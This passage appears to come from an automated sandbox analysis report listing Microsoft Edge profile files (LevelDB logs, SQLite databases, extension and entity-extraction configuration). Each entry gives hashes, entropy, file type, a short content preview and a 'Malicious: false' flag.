SHA-256:	00FAEE3EB2929733CD63B7A0008DCE4E528237A8990CF58AD1577C864B848ADC
SHA-512:	2413D5D77D032289A5D538A64B864591F6EC73F4A38490B2751A51C7D01345DBCBF8237B3CE125A2E65039995EC805E0D5665C0DC94041CF1A44FCDF7D8866BA
Malicious:	false
Preview:	2024/11/19-14:05:43.260 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-14:05:43.262 22fc Recovering log #3.2024/11/19-14:05:43.265 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.14684707441274
Encrypted:	false
SSDEEP:	6:HUsVM+q2PcNwi23oH+Tcwt9Eh1tIFUt8YUS6XZmw+YUT1MVkwOcNwi23oH+TcwtY:hVM+vLZYeb9Eh16FUt8F/+h1MV54ZYe8
MD5:	3B2C31BF5FFC49295AAE21119F7531D2
SHA1:	FEECAC30BEBF6F0EF2D65E1FF793D21A31C4E32D
SHA-256:	00FAEE3EB2929733CD63B7A0008DCE4E528237A8990CF58AD1577C864B848ADC
SHA-512:	2413D5D77D032289A5D538A64B864591F6EC73F4A38490B2751A51C7D01345DBCBF8237B3CE125A2E65039995EC805E0D5665C0DC94041CF1A44FCDF7D8866BA
Malicious:	false
Preview:	2024/11/19-14:05:43.260 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-14:05:43.262 22fc Recovering log #3.2024/11/19-14:05:43.265 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4612944891484484
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5nx:TouQq3qh7z3bY2LNW9WMcUvBuz
MD5:	81039A358B2F8D3091398946970B0E8A
SHA1:	43CDEE3D566C617165304C09D23DF10FD0AB69B0
SHA-256:	7017E935C49DCBA9F84476EBA0D97287057F2B1C9CF94DB6EBB20B47589BAD1E
SHA-512:	16C1CB87B62B28CB0E48C3BF404578827641F2237463AC0822037927A0366D5971924EC3B0A97834456A8731FD3E5BD6BF6635B293B21F4391023904BF4FACC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.26148907546315
Encrypted:	false
SSDEEP:	6:HU4RLv4q2PcNwi23oH+TcwtnG2tMsIFUt8YU4iZmw+YU4OkwOcNwi23oH+TcwtnB:L8vLZYebn9GFUt8V/+H54ZYebn95J
MD5:	9ADFB396E530C61F715AE53685BA4A9B
SHA1:	DAF9CC2EBE40BA6644AD1A47C598BC1C4F60B712
SHA-256:	BEF94E97B82A898DFD04FE069DF805BF7A96B51D08D27C0D292ECF79DB3AB6C0
SHA-512:	1C8C7AE0C7FF139F055B9CAB820C2432BC16654EC2142397D9159B65F4CB4D81FCBCC93B518AD22A190AA15D3B371294CBFC8110DF69B6BEFDC919DC20492DE9
Malicious:	false
Preview:	2024/11/19-14:05:36.958 170 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-14:05:36.959 170 Recovering log #3.2024/11/19-14:05:36.959 170 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.26148907546315
Encrypted:	false
SSDEEP:	6:HU4RLv4q2PcNwi23oH+TcwtnG2tMsIFUt8YU4iZmw+YU4OkwOcNwi23oH+TcwtnB:L8vLZYebn9GFUt8V/+H54ZYebn95J
MD5:	9ADFB396E530C61F715AE53685BA4A9B
SHA1:	DAF9CC2EBE40BA6644AD1A47C598BC1C4F60B712
SHA-256:	BEF94E97B82A898DFD04FE069DF805BF7A96B51D08D27C0D292ECF79DB3AB6C0
SHA-512:	1C8C7AE0C7FF139F055B9CAB820C2432BC16654EC2142397D9159B65F4CB4D81FCBCC93B518AD22A190AA15D3B371294CBFC8110DF69B6BEFDC919DC20492DE9
Malicious:	false
Preview:	2024/11/19-14:05:36.958 170 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-14:05:36.959 170 Recovering log #3.2024/11/19-14:05:36.959 170 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6126277118040817
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jq6mlpemL:TO8D4jJ/6Up+26g
MD5:	468A35F4455F4D4A1CDB3D8F3718AD31
SHA1:	046E99691546077817CCFE1953DAE1975E3ABF32
SHA-256:	06E6DCE6F9965307BF787BA3332B640C316016A0B8EFC1842F6413CE306A63CB
SHA-512:	6EDF3EE1C6291B343E09FA37737AC3956B58D8740C4DCEE12FABDE94C3A8F03DF91F363406F3860D90FE4E3B5B11ACF11ED2E0E15BF821BAAAA304C82A9A8F8C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354158148850489
Encrypted:	false
SSDEEP:	6144:cA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:cFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	774B1D878FAAFB1F1A65710B52EE8D43
SHA1:	88DC5166B27742E9241FDCCF20BF75D13325957A
SHA-256:	68F90F4DFF57DB33A48E4B4B5929EA8DDB075464BBCE96EDB8D5BD56AC22A5C2
SHA-512:	F5E602D793B003E4D8D4B6C2E231A7E6B5060036D31039516FCA9583873740F9E51E54C0041F2AFC5A3F3211A3A0097E85E12E49D6C3B5C9D44B7918336C2627
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13376516745199906..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.182168766769824
Encrypted:	false
SSDEEP:	6:HUJs1cNwi23oH+Tcwtk2WwnvB2KLlVU69+q2PcNwi23oH+Tcwtk2WwnvIFUv:/ZYebkxwnvFLIvLZYebkxwnQFUv
MD5:	5B64F037717D7EDD153FDDF5A0F49155
SHA1:	3534C28101F6B0E788FFC9A8BB28D4A3350E98FD
SHA-256:	61C4F1098EA40613F43C4402D4D5E5E27890C42287AD46A0EA60754A2EF99710
SHA-512:	93F1D0608392159B6922E2CD12A07CFF89AC7A935060DB717EAE0A954FC30E97CF49D9C784BA13CF1170CCC5775F8863EB68D1EBF9DD42F5F65D0507AB48AEE3
Malicious:	false
Preview:	2024/11/19-14:05:43.230 22e8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/19-14:05:43.247 22e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606710789646
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R9:C1gAg1zfvV
MD5:	365C08CE2C420D175F65E06136BFD1BF
SHA1:	C005CAB9345942139C29D0B6B45DF8797FC15445
SHA-256:	9DD61337CE4BDDE12A5C5DE5AAC4233C8B9B7D8391C59B0864899653487AB8D8
SHA-512:	7C72C6FB58D4010501606FC8B04C3CCD1BBAC1604B4F535B9B7FB9A9347E74821188C0B419EB4388EC4FE9ACCEE2FDCE376A3628293162378F276F993F9F282C
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.216928324090043
Encrypted:	false
SSDEEP:	6:HU4m+q2PcNwi23oH+Tcwt8aPrqIFUt8YU4TWZmw+YU4UFoFNVkwOcNwi23oH+TcD:A+vLZYebL3FUt8EW/+1YNV54ZYebQJ
MD5:	1DF8C697480918E93862902C724A0BAF
SHA1:	067716DEB4EB2831E7263D01364418047DC3B95B
SHA-256:	3FE51F53972903DF4631382FF133E95D3F8AF89FFDAB6D62543348203C5B09CB
SHA-512:	11ADDD2A3CF520C2898A7FC98F6580CB6BE99E021FA8DF3379C9EA4E3A48E63C2F48BFFEDD92A782792EF37442B6A10930A1839E9D23BF79C173098DDA3BDC89
Malicious:	false
Preview:	2024/11/19-14:05:36.961 18ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-14:05:36.961 18ec Recovering log #3.2024/11/19-14:05:36.962 18ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.216928324090043
Encrypted:	false
SSDEEP:	6:HU4m+q2PcNwi23oH+Tcwt8aPrqIFUt8YU4TWZmw+YU4UFoFNVkwOcNwi23oH+TcD:A+vLZYebL3FUt8EW/+1YNV54ZYebQJ
MD5:	1DF8C697480918E93862902C724A0BAF
SHA1:	067716DEB4EB2831E7263D01364418047DC3B95B
SHA-256:	3FE51F53972903DF4631382FF133E95D3F8AF89FFDAB6D62543348203C5B09CB
SHA-512:	11ADDD2A3CF520C2898A7FC98F6580CB6BE99E021FA8DF3379C9EA4E3A48E63C2F48BFFEDD92A782792EF37442B6A10930A1839E9D23BF79C173098DDA3BDC89
Malicious:	false
Preview:	2024/11/19-14:05:36.961 18ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-14:05:36.961 18ec Recovering log #3.2024/11/19-14:05:36.962 18ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.190503863378712
Encrypted:	false
SSDEEP:	6:HU4SH+q2PcNwi23oH+Tcwt865IFUt8YU4SPSmWZmw+YU4SuiVkwOcNwi23oH+Tc4:0H+vLZYeb/WFUt8ZPSmW/+ZuiV54ZYev
MD5:	3722A16F75468C0CB8A1907F298C19C0
SHA1:	32837BC85DBF29B76DCA6A1FF5326FC8E5CD94AB
SHA-256:	18C3B05DBD6D9616DD48BEAC8152D895E9BC5A99635C1A775895FA7682F16A96
SHA-512:	33571B0BF42D18CBF3E0DFCF6047431BE8790154366A3DD46F98ED757B9948C1FD096A1196CF6851082D3AA7F32F600077B4887090A6223F64E63EC6280DEBD0
Malicious:	false
Preview:	2024/11/19-14:05:37.001 18ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-14:05:37.002 18ec Recovering log #3.2024/11/19-14:05:37.003 18ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.190503863378712
Encrypted:	false
SSDEEP:	6:HU4SH+q2PcNwi23oH+Tcwt865IFUt8YU4SPSmWZmw+YU4SuiVkwOcNwi23oH+Tc4:0H+vLZYeb/WFUt8ZPSmW/+ZuiV54ZYev
MD5:	3722A16F75468C0CB8A1907F298C19C0
SHA1:	32837BC85DBF29B76DCA6A1FF5326FC8E5CD94AB
SHA-256:	18C3B05DBD6D9616DD48BEAC8152D895E9BC5A99635C1A775895FA7682F16A96
SHA-512:	33571B0BF42D18CBF3E0DFCF6047431BE8790154366A3DD46F98ED757B9948C1FD096A1196CF6851082D3AA7F32F600077B4887090A6223F64E63EC6280DEBD0
Malicious:	false
Preview:	2024/11/19-14:05:37.001 18ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-14:05:37.002 18ec Recovering log #3.2024/11/19-14:05:37.003 18ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.210284950339743
Encrypted:	false
SSDEEP:	6:HU4S9In4q2PcNwi23oH+Tcwt8NIFUt8YU4SvxJZmw+YU4SvxDkwOcNwi23oH+TcN:09In4vLZYebpFUt8ZJJ/+ZJD54ZYebqJ
MD5:	65F10787E626A2CA6FBD41BD862B45DF
SHA1:	3D17C2D977942F287961310DB0ED014B0821BB02
SHA-256:	F133521EA6B04CFFF134D44A218EB363CF673D20A057D3B9A1552EC3D6204DD3
SHA-512:	B3200DD5B3EBD0154BC3ECFAF4B8EDE80F3519D9579FFD24B3E262BDCB092DFD193FBFC5E1E4C47BDDE1E82EFECEA41CCEDC14FF6B285A8D0734B3B5AA86EA1C
Malicious:	false
Preview:	2024/11/19-14:05:37.824 14f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-14:05:37.825 14f4 Recovering log #3.2024/11/19-14:05:37.825 14f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.210284950339743
Encrypted:	false
SSDEEP:	6:HU4S9In4q2PcNwi23oH+Tcwt8NIFUt8YU4SvxJZmw+YU4SvxDkwOcNwi23oH+TcN:09In4vLZYebpFUt8ZJJ/+ZJD54ZYebqJ
MD5:	65F10787E626A2CA6FBD41BD862B45DF
SHA1:	3D17C2D977942F287961310DB0ED014B0821BB02
SHA-256:	F133521EA6B04CFFF134D44A218EB363CF673D20A057D3B9A1552EC3D6204DD3
SHA-512:	B3200DD5B3EBD0154BC3ECFAF4B8EDE80F3519D9579FFD24B3E262BDCB092DFD193FBFC5E1E4C47BDDE1E82EFECEA41CCEDC14FF6B285A8D0734B3B5AA86EA1C
Malicious:	false
Preview:	2024/11/19-14:05:37.824 14f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-14:05:37.825 14f4 Recovering log #3.2024/11/19-14:05:37.825 14f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789765
Encrypted:	false
SSDEEP:	3:qtDl9tFlljq7A/mhWJFuQ3yy7IOWU/gtnotdweytllrE9SFcTp4AGbNCV9RUItn:ODk75fOWtnotd0Xi99pEYX
MD5:	A81B13FE0D5A9DEB32B44BCEAD7D67B5
